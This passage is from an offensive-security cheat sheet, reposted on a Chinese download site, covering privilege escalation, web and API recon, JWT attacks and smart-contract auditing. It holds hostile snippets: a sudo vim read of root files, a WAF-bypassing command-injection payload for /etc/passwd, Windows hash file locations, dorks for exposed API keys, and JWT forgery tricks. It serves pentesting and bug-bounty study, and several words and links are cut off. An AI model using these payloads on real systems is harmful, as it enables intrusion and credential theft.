in:</li> <p><code> home directory </code> and <code> /var/www </code> or the same <li>Check out some additional information about the host itself such as the CPU type/ - <code> lscpu </code></li> <li>Check out logrotate - <code> logrotate --</code>. This <a href=' github tool</a> can help with privesc</li> <li>Look at:</li> <ul> <li>Open ports</li> <li>.bat and .bak files</li> <li>Interesting permissions</li> </ul> <li>And check <a href=' and <a href=' links for more help</li> <li>Read through root <code>vim</code></li> <pre><code>sudo vim -u NONE -U NONE -n -es +'r /root/root.txt' +'%p' +q /dev/null</code></pre> <ul> <li><code>-u NONE -U NONE</code> - do not load vimrc/gvimrc (no plugins → no erros)</li> <li><code>-n</code> - disable swapfile</li> <li><code>-e -s</code> - Ex mode + silent (non-interactive) mode</li> <li><code>+'r /root/root.txt'</code> - read the file into the buffer</li> <li><code>+'%p'</code> - print the entire buffer to stdout</li> <li><code>+q</code> - quit</li> <li><code>/dev/null</code> - dummy target so no real files are touched</li> </ul> </ol> <h3 id='n5.2'>       <ins>Windows</ins> </h3> <ol> <li><code>systeminfo</code> - information about the target system <li><code>cmdkey /list</code> - list any sa\ </ol>

<h3 align='right'><a href='#start'> <-- Back </a></h3>

<h2 align='center' id='n6'><em>Tips</em></h2> <ol> <li>If you have JSON in request, try to change JSON to XML</li> <li>Command Injection</li>   <p> If you find Command Injection and the WAF blocks keywords, you can attempt a bypass method by adding a backslash and a newline character between the blacklisted words. <pre><code>c\%0aat /et\%0ac/pas\%0aswd</code></pre> <li>If target use s, try to upload svg with XSS or XML payload</li> <li>Interesting file location:</li> <p>Windows hashes <ul>Local computer: <li> File: \%systemroot%\system32\config\SAM</li> <li> Registry: HKEY_LOCAL_MACHINE\SAM</li> <li> File: \%systemroot%\system32\confog\SECURITY</li> <li> Registry: HKEY_LOCAL_MACHINE\SECURITY\SAM</li> </ul> <p> <ul>Acti: <li>%systemroot%\ntds\ntds.dit</li> </ul> <li>Identifying Algorithm from the first hash blocks:</li> <ul> <li> Salted MD5 - <code> $1$... </code></li> <li> SHA-256 - <code> $5$... </code></li> <li> SHA-512 - <code> $6$... </code></li> <li> BCrypt - <code> $2a$... </code></li> <li> Scrypt - <code> $7$... </code></li> <li> Argon2 - <code> $argon2i$... </code></li> </ul> <li> Headers: <ul> <li> X-Forwarded-For. (XFF) header is an HTTP header used to identify the original IP address of a client connecting to a web ser an HTTP proxy or load balancer. By including this header, the server can log and track the original client's IP address instead of the proxy or load balancer's IP.</li> </ul> <li> Box: <ul> <li> How to enable Nested VT-x in Windows:</li> <pre><code>cd C:\Program Files\Oracle\</code></pre> <pre><code>.exe list vms</code></pre> <pre><code>.exe modifyvm <"NAME_OF_MACHINE"> --nested-hw-virt on</code></pre> </ul> <li>Configuration files: <ul> <li> /.htaccess</li> <li> /.htpasswd</li> <li> /web.config</li> <li> /.git/config</li> <li> /nginx.conf</li> <li> /ser</li> <li> /status</li> <li> /cgi-bin/php.ini</li> </ul> <li>Secure your machine! <ul> <li> <a href=' All traffic throw tor</li> <li> <a href=' Portmaster</a>. Your firewall</li> </ul> <li> <a href=' Tool gets rid of metadata e <li>Unified Kill Chain</li> <p>1. Reconnaissance (<a href=' Tactic TA0043</a>) <p>2. Weaponization (<a href=' Tactic TA0001</a>) <p>3. Social Engineering (<a href=' Tactic TA0001</a>) <p>4. Exploitation (<a href=' Tactic TA0002</a>) <p>5. Persistence (<a href=' Tactic TA0003</a>) <p>6. Defence E (<a href=' Tactic TA0005</a>) <p>7. Command & Control (<a href=' Tactic TA0011</a>) <p>8. Pi (<a href=' Tactic TA0008)/a>) <li>Jenkins endpoints.</li> <ul> <li>• /signup <li>• /jenkins/signup </ul> <li>403 Bypass</li> <ul> <li>Try to change method to PATCH and add header <code>Accept: application/json</code></li> </ul> <li>Default servers distanation path</li>
<ul>
<li>Apache and NGINX - <code> /var/www/html</code></li>
<li>Microsoft's IIS - <code>c:\inetpub\wwwroot</code></li>
</ul>
</ol>

<h2 align='center' id='n7'><em>GPTs (Agents) for Cybersecurity </em></h2>
<ul>
<li><a href=' - allows interacting with the Unprotect knowledge base on malware e techniques</li>
<li><a href=' Intel Bot</a> - GPT agent for retrieving the latest data on APT groups</li>
<li><a href=' News GPT</a> - summarizes the most relevant and discussed Hacker News articles</li>
<li><a href=' Mate</a> - get any answer about the ATT&CK knowledge base</li>
<li><a href=' Contract Audit Assistant</a> - a high-precision tool for auditing smart contracts</li>
<li><a href=' - expert in BloodHound CE, Cypher, SharpHound, and related tools</li>
<li><a href=' - if you want to master cryptography, use this agent</li>
<li><a href=' - will assist you in solving OSINT tasks and research</li>
<li><a href=' Bounty Assistant</a> - a guide for web application security</li>
<li><a href=' List</a></li>
</ul>

<h2 align='center' id='n8'><em>OSINT</em></h2>
<ol>
<li> Tools for searching data by email and logins
<p> <a href=' indexes information from leaks and provides access to searching compromised email addresses, logins, names, IP addresses, phone numbers, and password hashes
<p> <a href=' I Been Pwned?</a> is a data breach search engine. It allows you to check which incidents a specific email address has been in in
<p> <a href=' and <a href=' - search for corporate email addresses by URL
<p> <a href=' - searches for accounts on services by username. The service is based on <a href=' a JSON</a>
<p> <a href=' Searcher</a> - a free tool that helps find users by login on over 2,000 websites
<p> <a href=' <a href=' <a href=' <a href=' <a href=' - online services for searching user accounts by username
</ol>

<h2 align='center' id='n9'><em>API</em></h2>
<ol>
<li><a href='#n9.1'>Tools</a>
<li><a href='#n9.2'>Tips</a>
<li><a href='#n9.3'>GraphQL</a>

</ol>
<h3 id='n9.1'>     Tools</ins></h3>
<ul>
<li>Burp Extensions - <a href=' <a href=' Miner</a></li>
<li><a href=' Like Burp but for API requests</li>
<li><a href='
<li><a href='
<li><a href=' For params fuzzing</li>
<li><a href=' (FireFox extension) - Quick request sender. Usefull with API</li>
</ul>
<h3 id='n9.2'>     Tips ←</ins></h3>
<ol>
<li>Wordlists:</li>
<p><code>seclists/Discovery/Web-Content/api/</code></p>
<p><code>seclists/Discovery/Web-Content/api/objects.txt</code></p>
<p><code>seclists/Discovery/Web-Content/api/actions.txt</code></p>
<p><code>seclists/Discovery/Web-Content/swagger.txt</code></p>
<p><code>seclists/Discovery/Web-Content/common-api-endpoints-mazen160.txt</code></p>
<li>Try to:</li>
<ul>
<li>Check the JS files to find api endpoints</li>
<li>Change methods</li>
<li>If BFLA doesnt allow to see one record, try to get all (/users instead of /user/1)</li> <li>Check numbers of (for example v0, v1, v2, v3, v4 etc)</li> <li>Fuzz parameters and/or query</li> <li>Remo from Authorization header (<code>Authorization: <JWT></code>) </ul> <li>Endpoints:</li> <ul> <li> <li> etc</li> <li> etc</li> <li> <li> <li> <li> <li> <li> <li> <li> </ul> <li>Google Dorking:</li> <ul> <li><code>inurl:/api/admin site:target.com</code></li> <li><code>inurl:"/wp-json/wp/v2/users"</code> - Finds all publicly a WordPress API user directories</li> <li><code>intitle:"index of" intext:"api"</code></li> <li><code>intitle:"index.of" intext:"api.txt"</code> - Finds publicly a API key files</li> <li><code>inurl:"/api/*" intext:"index of"</code> - Finds potentially interesting API directories</li> <li><code>ext:php inurl:"api.php?action="</code> - Finds all sites with a XenAPI SQL injection </li> <li><code>intext:api filetype:env</code></li> <li><code>intitle:"index of" api_key OR "api key" OR apiKey -pool</code> - It lists potentially exposed API keys</li> <li><code>intext:APIKey ext:js | xml | yaml | txt | conf | py intitle:"index of"</code></li> <li><code>intitle:"index of" "api.yaml"</code></li> <li><code>"api" ext:log</code></li> </ul> <li>Git Dorking:</li> <ul> <li>filename:swagger.json</li> <li>extension: .json</li> <li>searching “api key,” "api keys", "apikey", "authorization: Bearer", "access_token", "secret", or “token.”</li> </ul> <li>Shodan:</li> <ul> <li><code>port:80,443 http.status:200 "Content-Type: application/json"</code></li> <li><code>"Content-Type: application/xml"</code> - Find web servers returning potential endpoints that use XML (ie: SOAP)</li> <li><code>"Content-Type: application/json"</code> - Find web servers returning potential endpoints that use JSON</li> <li><code>"wp-json"</code> - This will search for web applications using the WordPress API</li> <li><code>"X-*API*" hostname:"*.target.domain"</code> - Find servers that contain custom headers related to “API”. ie: X-API-KEY, X-API-, X-API-EN etc</li> <li><code>ssl.cert.subject.cn:target.domain</code> - Find servers who have been issued an SSL cert for *.target.domain</li> <li><code>ssl:"<Company Name"></code> - Find servers who have been issued an SSL cert relating to the company you are targeting. Useful for certs generated by SaaS/cloud offering services to the target (ie: AWS, Azure, Google, etc). This typically finds stuff in the Issued To organization fields.</li> </ul> <li>Some resources:</li> <ul> <li><a href=' Explore</a></li> <li><a href=' API Directory</a></li> <li><a href=' Guru</a></li> <li><a href=' APIs Github Project</a></li> <li><a href=' Hub</a></li> </ul> </ol> <h3 id='n9.3'>     GraphQL</ins></h3> <ol> <li>Tools</li> <ul> <li>Altair GraphQL Client (<a href=' <a href=' <a href=')</li> <li><a href=' Obtain GraphQL API schema even if the introspection is disabled</li> <li>InQL (<a href=' <a href=') - GraphQL Scanner</li> <li><a href=' - GraphQL Ser</li> <li><a href=' - security auditing script</li> <li><a href=' is a tool that lists the different ways of reaching a given type in a GraphQL schema</li> <li><a href=' Cop</a> is a small Python utility to run common security tests against GraphQL APIs</li> <li><a href=' is a GraphQL penetration testing tool that exploits poor rate-limit and cost analysis controls to brute-force credentials and fuzz operations</li> <li><a href=' ← upload introspection and see schema</li> <li><a href=' </ul> <li>Wordlists:</li> <ul> <li><code>/usr/share/wordlists/seclists/Discovery/Web-Content/api/</code></li> <li><a href=' <li><a href=' </ul> <li>Request -> To Repeater -> right-click > GraphQL > Set introspection query. To insert an introspection query into the request body to see much more about GraphQL tree data and manipulate</li> <li>Endpoints:</li> <ul> <li>/graphql</li> <li>/graphiql</li> <li>/api</li> <li>/api/graphql</li> <li>/graphql/api</li> <li>/graphql?debug=1</li> <li>/graphql/graphql</li> <li>If these common endpoints don't return a GraphQL response, you could also try appending /v1 to the path</li> </ul> </ol>

<h3 align='right'><a href='#start'> <-- Back </a></h3>

<h2 align='center' id='n10'><em>WordPress</em></h2> <ul> <li>Endpoints: <p>wp-json/wp/v2/users </ul>

<h3 align='right'><a href='#start'> <-- Back </a></h3>

<h2 align='center' id='n11'><em>JWT</em></h2> Some tips: <ul> <li>Great tool for work with JWT - <a href=' <li><a href=' Security Analyzer</li> <li>Try easy change params</li> <li>Check delete all or delete a couple of chars of signature and send a response</li> <li>Try to brute force signature key</li> <li>Send a response without signature and set "alg":"none"(or None, or nOne, or NONE). Try send with and without second dot.</li> <li>Try to use JWK if alg is asymmetric encryption (RS256, ES256 etc)</li> <li>If there is a jku, try to put yourself url with a key</li> </ul>

<h3 align='right'><a href='#start'> <-- Back </a></h3>

<h2 align='center' id='n12'><em>Toolkit</em></h2> <ol> <li>CLI</li> <ul> <li>nmap, naabu</li> <li>subfinder, assetfinder, subscraper</li> <li>amass</li> <li>shufflesdns</li> <li>waybackurls, gau, waymore</li> <li>dnsx, httpx</li> <li>sara</li> <li>katana, gospider, hakrawler</li> <li>cewl</li> <li>wfuzz, gobuster</li> <li>LinkFinder, xnLinkFinder, SecretFinder, lazyegg</li> <li>Paramspider, arjun</li> <li>JWT_Tool</li> <li>Pacu</li> <li>apktool</li> </ul> <li>Browser Extensions</li> <ul> <li>Foxy Proxy</li> <li>Wappalyzer, WhatRun</li> <li>WaybackURL</li> <li>Header Editor</li> <li>Cookie-Editor</li> <li>User-Agent Switcher and Manager</li> <li>Altair GraphQL Client</li> <li>RESTED</li> <li>Hack-Tools</li> <li>Max HacKBar</li> <li>OWASP Penetration Testing Kit</li> <li>Beautifer & Minify</li> <li>Shodan</li> <li>.DotGit</li> <li>FireFox Multi-Account Containers</li> <li>KnoXSS</li> <li>Retire.js</li> </ul> <li>Burp Extensions</li> <ul> <li>Autorize</li> <li>Agartha</li> <li>InQL</li> <li>JWT Editor</li> <li>Param Miner</li> </ul> <li>Another tools</li> <ul> <li>reNgine</li> <li>Postman</li> <li>Shodan</li> <li>Censys</li> <li>crt.sh</li> <li>Big Bounty Recon</li> <li>MobSF</li> </ul> </ol>

<h3 align='right'><a href='#start'> <-- Back </a></h3>

<h2 align='center' id='n13'><em>Web3</em></h2>

<h3>There are:</h3> <ol> <li><a href='#help-tag'>Help</a></li> <li><a href='#foundry'>Foundry</a></li> <li><a href='#sol'>Solidity</a></li> <li><a href='#solana'>Solana</a></li> <li><a href='#toolkit-tag'>Toolkit</a> <li><a href='#resources-tag'>Resources</a></li> <li><a href='#researching-tag'>Researching</a></li> <li><a href='#assembyte'>Assembly and bytecode</a></li> </ol>

<h2 align='center' id='help-tag'><em>Help</em></h2> <ol> <li><a href='#install-lib'>Install libraries</a></li> <li><a href='#interact'>Interact with blockchain via CLI</a></li> <li><a href='#surya'>Surya</a></li> <li><a href='#wake'>Wake</a></li> </ol> <ul> <h3 id='install-lib'>      <ins>Install libraries</ins></h3> <ul> <li>Forge-std</li> <pre><code>forge install foundry-rs/forge-std</code></pre> <li>Open Zeppelin</li> <pre><code>forge install OpenZeppelin/openzeppelin-contracts</code></pre> <pre><code>forge install OpenZeppelin/openzeppelin-contracts-upgradeable</code></pre> <pre><code>forge install transmissions11/solmate</code></pre> <!-- Configure <code>foundry.toml</code> (Remappings) Example: <pre><code>[profile.default]

`... other settings`


remappings = [
    "/contracts-upgradeable/=lib/openzeppelin-contracts-upgradeable/contracts/",
    "/contracts/=lib/openzeppelin-contracts-upgradeable/lib/openzeppelin-contracts/contracts/" # Also needed for standard contracts]</code></pre> -->
  </ul>
  <h3 id='interact'> &nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <ins>Interact with blockchain</ins></h3>
  <li>Interact with blockchain storage</li>
    <pre><code>curl -X POST [RPC_URL] -H "Content-Type: application/json" -d '{"jsonrpc":"2.0", "method":"eth_getStorageAt", "params": ["[CONTRACT_ADDRESS]","[NUM_SLOT-IN-HEX]","latest"],"id":1}'</code></pre>
    Need to change <code>[RPC_UR]</code>, <code>[CONTRACT_ADDRESS]</code>, <code>[NUM_SLOT-IN-HEX]</code>
</ul>
  <h3 id='surya'> &nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <ins>Surya</ins></h3>
  <ul>
    <li>Graph creation</li>
      <pre><code>surya graph [PATH/CONTRACT_NAME].sol</code></pre>
    <li>Action to function trace</li>
      1. All imports to 1 file (<code>mkdir -p flatten</code>)
        <pre><code>forge flatten src/[CONTRACT_NAME].sol > flat/[CONTRACT_NAME].flatten.sol</code></pre>
      2. <code>ftrace</code> with <code>flatten</code>
        <pre><code>surya ftrace "[CONTRACT_NAME]::[FUNCTION_NAME]" [all|external|internal] flatten/[CONTRACT_NAME].flat.sol</code></pre>
  </ul>
  <h3 id='wake'> &nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <ins>Wake</ins></h3>
  <ul>
	  <li>Fix</li>
		  <pre><code>forge remappings > remappings.txt</code></pre>
	  	  <pre><code>wake up config</code></pre>
	  	  Settings -> Add <code>wake.toml</code> to <code>Wake > Configuration:Toml_path</code>
      <li>Run</li>
		  <pre><code>wake detect --export json all</code></pre>
  </ul>
<h2 align='center' id='foundry'><em>Foundry</em></h2>
<ol>
  <li><a href='#foundry-cast'>Cast</a></li>
  <li><a href='#foundry-forge'>Forge</a></li>
  <li><a href='#funcs'>Functions</a></li>
  <li><a href='#tips-tag'>Tips</a></li>
</ol>
<h3 id='foundry-cast'> &nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <ins>Cast</ins></h3>
<ul>
  <li>hex to decimal</li>
    <pre><code>cast --to-dec [hex]</code></pre>
  <li>hex to string</li>
    <pre><code>cast --abi-decode "myFunc()(string)" 0x000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000014416e79206b696e64206f6620636f6f6b000000000000000000000</code></pre>
    <code>myFunc()</code> is random name. Guess <code>cast</code> just need (unexisted)function in command.
  <li>keccak256 with string</li>
    <pre><code>cast keccak "..."</code></pre>
  <li>Function signature</li>
    <pre><code>cast sig "func(uint256,address)"</code></pre>
  <li>ABI encode with args</li>
    <pre><code>cast calldata "func(...)" arg1 arg2</code></pre>
  <li>ABI encode without sig, only args</li>
    <pre><code>cast calldata "func(...)" arg1 arg2</code></pre>
  <li>Check storage</li>
    <pre><code>cast storage [CONTRACT_ADDRESS] [NUM_SLOT] --rpc-url [RPC_URL]</code></pre>
  <li>Bytes32 to string</li>
    <pre><code>cast parse-bytes32-string [TARGET_BYTES]</code></pre>
  <li>Bytes4 (signature) to string</li>
    <pre><code>cast 4byte [sig]</code></pre>
</ul>

<h3 id='foundry-forge'>       <ins>Forge</ins></h3> <ul> <li>Test</li> <ol> <li>Test certain function</li> <pre><code>forge test --match-test testFunctionName -vvv</code></pre> <code>-vvv</code> for deep , <code>--mp</code> (match-path) to certain path contract <li>Gas Report</li> <pre><code>forge test --gas-report</code></pre> </ol> <li>Inspect</li> <ol> <li>To view storage layout</li> <pre><code>forge inspect <CONTRACT_NAME> storage-layout</code></pre> <li>To view contracts methods</li>
<pre><code>forge inspect <CONTRACT_NAME> methods</code></pre>
</ol>
<li>Co</li>
<ol>
<li>Run</li>
<pre><code>forge co</code></pre>
<li>Can help with <code>Stack too deep</code></li>
<pre><code>forge co --ir-minimum</code></pre>
</ol>
</ul>

<h3 id='funcs'>       <ins>Functions</ins></h3>
<ul>
<li><code>bound()</code></li>
<p>The <code>bound()</code> function is designed to constrain the input of fuzz tests within a specified range<p>
<p>Usage:</p>
<pre><code>_value = bound(_value, 1, type(uint256).max);</code></pre>
The <code>bound()</code> function takes three uint256 arguments:
<ol>
<li><code>x</code>: The input value from the fuzzer.</li>
<li><code>min</code>: The lower bound (inclusive) of the desired range.</li>
<li><code>max</code>: The upper bound (inclusive) of the desired range.</li>
</ol>
<li>Another restriction for fuzzing</li>
<pre><code>(_value > 0);</code></pre>
<li><code>vm.warp()</code> - skip some time</li>
<pre><code>vm.warp(block.timestamp + 10 seconds);</code></pre>
<li><code>vm.warp()</code> - skip some blocks</li>
<pre><code>vm.roll(block.number + 100);</code></pre>
</ul>
<h3 id='tips-tag'>       <ins>Tips</ins></h3>
<ul>
<li>Ok starting time, not start from 1 (<code>vm.warp</code>)</li>
<pre><code> modifier startAtPresentDay() {
vm.warp(1680616584);
_;
}</code></pre>
<li>Fuzzing and assumption</li>
<pre><code>// notSeller will be chosen randomly
function testIn(address notSeller) public {
(notSeller != seller); // предпологается, что точно не seller
("not the seller");
depositContract.sellerWithdraw(notSeller);
}</code></pre>
</ul>

<h2 align='center' id='sol'><em>Solidity</em></h2>
<ul>
<li>Compare <code>string</code> type</li>
<pre><code>keccak256(abi.encodePacked(string1)) == keccak256(abi.encodePacked(string2))</code></pre>
<li>Func sig</li>
<pre><code>bytes4 selector = bytes4(keccak256("transfer(address,uint256)"));</code></pre>
<pre><code>bytes4 selector = this.transfer.selector;</code></pre>
</ul>

<h2 align='center' id='solana'><em>Solana</em></h2>
<ul>
<li>Solana-cli Commands</li>
<ol>
<li>Change to <code>devnet</code></li>
<pre><code>solana config set --url
<li>Start anchor</li>
<pre><code>anchor init project_name
cd project_name
anchor build
anchor keys sync</code></pre>
<li>Solana test running in other terminal</li>
<pre><code>solana-test-</code></pre>
<li>Solana logs in another:</li>
<pre><code>solana logs</code></pre>
<li>Test</li>
<pre><code>anchor test --skip-local-</code></pre>
<li>Add <code>Lite SVM</code></li>
<pre><code>cargo add --de</code></pre>
</ol>
<li><a href='
<ol>
<li>Setup</li>
<pre><code>cargo add mollusk-s</code></pre>
<pre><code>cargo add solana-precompiles solana-account solana-pubkey solana-feature-set solana-program solana-sdk --dev</code></pre>
</ol>
</ul>

<h2 align='center' id='toolkit-tag'><em>Toolkit</em></h2>
<ol>
<li><a href='
<ul>
<li><a href=' Metrics</a></li>
<li><a href=' De</a></li>
<li><a href=' (Wake)</a></li>
<li><a href='
<li><a href=' Lens</a></li>
</ul>
<li>Ethereum / solidity ecosystem</li>
<ul>
<li><a href='
<li><a href='
<li><a href='
<li><a href='
<li><a href='
<li><a href='
<li><a href=' for checking smart contracts changes</li>
</ul>
<li>Solana / rust ecosystem</li>
<ul>
<li><a href=' - fuzz tool</li>
<li><a href=' - fuzzing</li>
<li><a href=' - static analysis</li>
<li><a href=' - static analysis</li>
</ul>
</ol>

<h2 align='center' id='resources-tag'><em>Resources</em></h2>
<ol>
<li> Auditors <a href=' from Guardian Audits Lab</li>
<li>Zokyo <a href='
<li><a href=' (<a href=' & examples</a>)</li>
<li><a href='
</ol>

<h2 align='center' id='researching-tag'><em>Researching</em></h2>
<li><a href=' Smart Contract Security Review Onboarding</a></li>

<details><summary><a href=' Rekt Test</a></summary>
<ol>
<li>Do you have all actors, roles, and pri documented?</li>
<li>Do you keep documentation of all the external services, contracts, and oracles you rely on?</li>
<li>Do you have a written and tested incident response plan?</li>
<li>Do you document the best ways to attack your system?</li>
<li>Do you perform identity and background checks on all employees?</li>
<li>Do you have a team member with security defined in their role?</li>
<li>Do you require hardware security keys for production systems?</li>
<li>Does your key management system require multiple humans and physical steps?</li>
<li>Do you define key in for your system and test them on every commit?</li>
<li>Do you use the best automated tools to disco issues in your code?</li>
<li>Do you undergo external audits and maintain a disclosure or bug bounty program?</li>
<li>Have you considered and mitigated a for abusing users of your system?</li>
</ol></details>
<details><summary><a href=' Scoping Details</a></summary>
<ul>
<li>Public link code repo, if exist</li>
<li>How many contracts are in scope?</li>
<li>Total SLoC for these contracts?</li>
<li>How many external imports are there?</li>
<li>How many separate interfaces and struct definitions are there for the contracts within scope?</li>
<li>Does most of your code generally use composition or inheritance?</li>
<li>How many external calls?</li>
<li>What is the o line co percentage provided by your tests?:</li>
<li>Is there a need to understand a separate part of the codebase / get context in order to audit this part of the protocol?</li>
<li>If so, please describe required context</li>
<li>Does it use an oracle?</li>
<li>Does the token conform to the ERC20 standard?</li>
<li>Do you expect ERC721, ERC777, FEE-ON-TRANSFER, REBASING or any other non-standard ERC will interact with the smart contracts?</li>
<li>Are there any novel or unique cur or mathematical models?</li>
<li>Does it use a timelock function?</li>
<li>Is it an NFT?</li>
<li>Does it have an AMM?</li>
<li>Is it a fork of a popular project?</li>
<li>Does it use rollups?</li>
<li>Is it multi-chain?</li>
<li>Does it use a side-chain?</li>
<li>Describe any specific areas you would like addressed. E.g. Please try to break XYZ."</li>
</ul></details>
<details><summary><a href=' Smart Contract Top 10</a></summary>
<ol>
<li>Access Control </li>
<li>Price Oracle Manipulation</li>
<li>Logic Errors</li>
<li>Lack of Input </li>
<li>Reentrancy Attacks</li>
<li>Unchecked External Calls</li>
<li>Flash Loan Attacks</li>
<li>Integer O and Underflow</li>
<li>Insecure Randomness</li>
<li>Denial of Service (DoS) Attacks</li>
</ol></details>
<details><summary>Methodology</summary>
<ol>
<li>Read docs and understand the project</li>
<ul>
<li>Main functionality</li>
<li>Roles</li>
<li>In</li>
</ul>
<li>Static Analysis</li>
<li>Dynamic analysis</li>
<details><summary>Steps</summary>
<pre># STRUCTURE: FIRST HOURS OF PROTOCOL RESEARCH
1. ARCHITECTURE
- read README and Deployment / addresses
- find entrypoints (Router / Core / Vault / Manager)
- draw diagramm
2. TRUST MODEL
- who can change and what can be changable (owner, guardian, controller)
- where is upgrade, pause, withdraw, mint/burn
3. USER FLOW
- how regular user interact: deposit → stake → claim
- which data go to в state
- where is external call / callback
4. SECURITY IN
- what have to be true: balance >= shares, owner != zero, etc.
- what breaks in
5. ATTACK SURFACE
- external/public funcs without access-control
- all loops (gas DoS)
- all places with call.value / transfer / delegatecall / external token
- where is state depends on external contracts
6. CHECKLIST (rest)
- Reentrancy
- Pri escalation
- Math errors (arithmetic, rounding)
- Oracle manipulation
- Initialization / upgrade gaps
- Access Control List
- Broken Logic
</pre>
</details>
<ul>
<li>Pragma , imports, inheritances</li>
<li>State ()</li>
<li>Focus on <code>external</code> and <code>public</code> functions</li>
<li><code>Check-Effects-Interactions</code> pattern</li>
<li><code>S.E.A.R.C.H.</code> (State, External, Access, Reentrancy, Checks, Handling) pattern</li>
</ul>
<li>Testing (in tests -> stateless & stateful fuzzing, check hypotheses)</li>
<li>Reporting</li>
</ol></details>

<h2 align='center' id='assembyte'><em>Assembly and bytecode</em></h2>
<a href='

</body>

项目信息

开发语言：PowerShell

Star 数：8

技术要点

该项目属于防护思路方向的开源资源，代码结构清晰，适合安全研究人员学习参考。项目围绕Offensive security cheat sheet library展开，提供了可运行的实现，对理解相关安全机制、工具原理与攻防技术具有较高的研究价值。

从技术实现角度看，此类项目的核心在于对底层原理的深入理解与工程化落地。开发者在研究过程中可以结合官方文档与社区讨论，梳理项目的初始化流程、核心模块职责与数据流转，逐步掌握其中的技术细节与设计思路。

使用与学习建议

1. 下载源码压缩包，解压到本地环境。

2. 根据项目类型准备对应的运行环境与依赖。

3. 按照 README 中的步骤完成配置与部署。

4. 在隔离的测试环境中运行验证，避免影响生产系统。

免责声明

本资源来源于开源社区，仅供安全研究、技术学习与合法授权范围内的攻防演练使用，请勿用于任何非法或侵害他人权益的用途。使用本项目产生的一切后果由使用者自行承担。

登录后才能参与讨论

下载链接

会员才能下载

登录后开通会员

同分类推荐

暂无同类资源

资源标题	hacking_time - Offensive security cheat sheet library
所属分类	防护思路
发布作者	admin
发布时间	2026-10-06 00:13:01
下载权限	免费下载
附件数量	2 个下载链接
浏览次数	432
讨论数量	0
主题状态	正常讨论中

hacking_time - Offensive security cheat sheet library

项目说明

... other settings

项目信息

技术要点

使用与学习建议

免责声明

怎么获取这个资源？

下载链接失效了怎么办？

可以转载或二次发布吗？

下载链接

同分类推荐

`... other settings`